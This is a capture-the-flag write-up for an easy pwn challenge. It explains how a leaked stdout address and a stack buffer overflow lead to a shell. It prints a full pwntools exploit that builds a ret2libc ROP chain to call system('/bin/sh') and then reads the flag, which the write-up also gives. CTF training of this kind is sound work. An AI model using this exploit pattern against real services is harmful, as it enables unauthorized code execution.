archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

BETTER CALL WAWA

Some names never leave the contact list. When every Rockstar line went silent, one number still answered: WAWA. CyberLeek has one call to trace the signal, reach the archive, and bring the leak home.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYeasyPOINTS200
ret2libcrop

Walkthrough

Solution

The program discloses the address of stdout, which gives the libc base by subtracting the bundled libc's _IO_2_1_stdout_ offset. The 72-byte read into a 32-byte stack buffer also reaches the saved return address at offset 40.

Build a libc ROP chain with an alignment ret, pop rdi; ret, the address of /bin/sh, and system. After the function returns into the chain, send cat flag.txt through the resulting shell.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./main", checksec=False)
context.log_level = "error"
libc = ELF("./libc.so.6", checksec=False)

p = remote("127.0.0.1", 9010)

p.recvuntil(b"WAWA'S LINE: ")
leak = int(p.recvline(), 16)
libc.address = leak - libc.sym["_IO_2_1_stdout_"]

rop = ROP(libc)
ret = rop.find_gadget(["ret"]).address
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
bin_sh = next(libc.search(b"/bin/sh\x00"))

payload = b"A" * 40
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(libc.sym.system)

p.sendafter(b"message:\n", payload)
p.sendline(b"cat flag.txt")
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{B3TT3R_C4LL_W4W4_6G_YALLLA}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS